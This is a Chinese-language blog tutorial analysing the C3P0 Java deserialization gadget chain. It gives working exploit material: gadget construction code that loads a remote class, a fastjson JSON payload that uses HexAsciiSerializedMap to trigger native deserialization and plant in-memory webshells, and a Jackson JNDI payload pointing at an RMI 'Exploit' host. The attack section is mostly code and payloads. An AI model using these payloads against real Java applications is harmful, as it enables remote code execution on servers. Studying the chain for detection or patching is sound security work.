浅谈Java安全之C3P0链利用与分析

 更新时间:2022年01月28日 10:10:27   作者:nice_0e3  
本文主要介绍了浅谈Java安全之C3P0链利用与分析,文中通过示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下

0x00 前言

在一些比较极端情况下,C3P0链的使用还是挺频繁的。

0x01 利用方式

利用方式

在C3P0中有三种利用方式

  • http base
  • JNDI
  • HEX序列化字节加载器

在原生的反序列化中如果找不到其他链,则可尝试C3P0去加载远程的类进行命令执行。JNDI则适用于Jackson等利用。而HEX序列化字节加载器的方式可以利用与fj和Jackson等不出网情况下打入内存马使用。

http base使用

使用也很简单,可以直接使用yso生成数据进行发送到服务端,然后加载到指定的远程类。

public class test1 {
    public static void main(String[] args) throws Exception {
        C3P0 c3P0 = new C3P0();
        Object object = c3P0.getObject("http://127.0.0.1:80/:exp");

        byte[] serialize = Serializer.serialize(object);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject();

    }
}

0x02 C3P0分析

构造分析

public Object getObject ( String command ) throws Exception {
        int sep = command.lastIndexOf(':');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
        }

        String url = command.substring(0, sep);
        String className = command.substring(sep + 1);
        PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
        Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
        return b;
    }
    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public PoolSource ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference () throws NamingException {
            return new Reference("exploit", this.className, this.url);
        }

       ......
    }

代码比较简单,反射创建了一个PoolBackedDataSource实例对象,然后反射将connectionPoolDataSource的值设置为PoolSource类的实例,传递classNameurl参数。即我们传入的远程地址和类名。

在序列化的时候会去调用我们的com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject

这行代码走到了catch代码块里面,因为我们传入的this.connectionPoolDataSourcePoolSource类是不可被序列化的。

继续走到下面代码来看。

 public IndirectlySerialized indirectForm(Object var1) throws Exception {
        Reference var2 = ((Referenceable)var1).getReference();
        return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
    }

调用我们传递的this.connectionPoolDataSourcegetReference();方法。来获取到一个Reference这也是前面为我们要重写这个方法的原因。

实例ReferenceIndirector.ReferenceSerialized将刚刚获取的Reference传递进去。

利用分析

反序列化入口为com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject

调用readObject内部会调用ReferenceIndirector.getObject()

Class.forName ,如果可以控制forName⽅法的第⼀个和第三个参数,并且第⼆个参数为 true,那么就可以利⽤BCEL, ClassLoader实现任意代码加载执⾏ 。

把代码抠出来测试一下

ClassLoader var6 = Thread.currentThread().getContextClassLoader();
        URL var8 = new URL("http://127.0.0.1:80");
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{var8}, var6);
        Class var12 = Class.forName("exp", true, urlClassLoader);

跟踪了一下forName0native修饰的内部使用C/C++实现无法进行查看。

来看到官方的讲解。

Returns the Class object associated with the class or interface with the given string name, using the given class loader. Given the fully qualified name for a class or interface (in the same format returned by getName) this method attempts to locate, load, and link the class or interface. The specified class loader is used to load the class or interface. If the parameter loader is null, the class is loaded through the bootstrap class loader. The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.

翻译大概的意思就是返回一个给定类或者接口的一个 Class 对象,如果没有给定 classloader, 那么会使用根类加载器。如果initalize这个参数传了 true,那么给定的类如果之前没有被初始化过,那么会被初始化。

也就是说我们的exp会被初始化,执行我们static代码块中的恶意代码。

官方说明

HEX序列化字节加载器

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}

在fj反序列化userOverridesAsString调用settingsetter传入以HexAsciiSerializedMap开头的字符串进行解码并触发原生反序列化。

来看到调用流程。下面调用到这里

 this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);

一路跟踪来到com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString

 public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException {
        if (userOverridesAsString != null) {
            String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1);
            byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
            return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));
        } else {
            return Collections.EMPTY_MAP;
        }
    }

HexAsciiSerializedMap中内容提取出来进行反序列化

JNDI利用

 public static void main(String[] args) throws IOException, JsonProcessingException {
        String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}";
        System.out.println(poc);
        ObjectMapper objectMapper = new ObjectMapper();
        objectMapper.enableDefaultTyping();
        objectMapper.readValue(poc, Person.class);
    }

jackson和fastjson特性一样会调用setter,这里利用的是JndiRefDataSourceBase中的setjndiName

0x03 结尾

构造序列化payload时,C3P0版本也会对漏洞利用有所影响。

到此这篇关于浅谈Java安全之C3P0链利用与分析的文章就介绍到这了,更多相关Java C3P0链内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • Redisson可重入锁解锁逻辑详细讲解

    Redisson可重入锁解锁逻辑详细讲解

    Redisson开源框架是一个Redis的分布式锁的现成实现方案,是Redis的java实现的客户端。通过Netty支持非阻塞I/O。Redisson实现了分布式锁的自动续期机制、锁的互斥自等待机制、锁的可重入加锁与释放锁的机制
    2023-02-02
  • Java数据脱敏实现的方法总结

    Java数据脱敏实现的方法总结

    数据脱敏,指的是对某些敏感信息通过脱敏规则进行数据的变形,实现敏感隐私数据的可靠保护,本文主要是对后端数据脱敏实现的简单总结,希望对大家有所帮助
    2023-07-07
  • Java Stream流零基础教程

    Java Stream流零基础教程

    Java8的另一大亮点Stream,它与java.io包里的InputStream和OutputStream是完全不同的概念,下面这篇文章主要给大家介绍了关于Java8中Stream详细使用方法的相关资料,需要的朋友可以参考下
    2022-11-11
  • Maven项目继承实现过程图解

    Maven项目继承实现过程图解

    这篇文章主要介绍了Maven项目继承实现过程图解,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2020-08-08
  • Maven最佳实践之一个好的parent依赖基础

    Maven最佳实践之一个好的parent依赖基础

    今天小编就为大家分享一篇关于Maven最佳实践之一个好的parent依赖基础,小编觉得内容挺不错的,现在分享给大家,具有很好的参考价值,需要的朋友一起跟随小编来看看吧
    2018-12-12
  • 基于SpringBoot整合oauth2实现token认证

    基于SpringBoot整合oauth2实现token认证

    这篇文章主要介绍了基于SpringBoot整合oauth2实现token 认证,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2020-01-01
  • Java下界通配符(? super Type)的使用

    Java下界通配符(? super Type)的使用

    在Java中,? super Type是一个下界通配符,本文主要介绍了Java下界通配符(? super Type)的使用,具有一定的参考价值,感兴趣的可以了解一下
    2024-01-01
  • java反射机制的一些学习心得小结

    java反射机制的一些学习心得小结

    这篇文章主要给大家介绍了关于java反射机制的一些学习心得,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2021-02-02
  • java中对Redis的缓存进行操作的示例代码

    java中对Redis的缓存进行操作的示例代码

    本篇文章主要介绍了java中对Redis的缓存进行操作的示例代码,具有一定的参考价值,有兴趣的可以了解一下
    2017-08-08
  • 在Mybatis使用Integer与''进行比较的坑及解决

    在Mybatis使用Integer与''进行比较的坑及解决

    这篇文章主要介绍了在Mybatis使用Integer与''进行比较的坑及解决方案,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
    2023-03-03

最新评论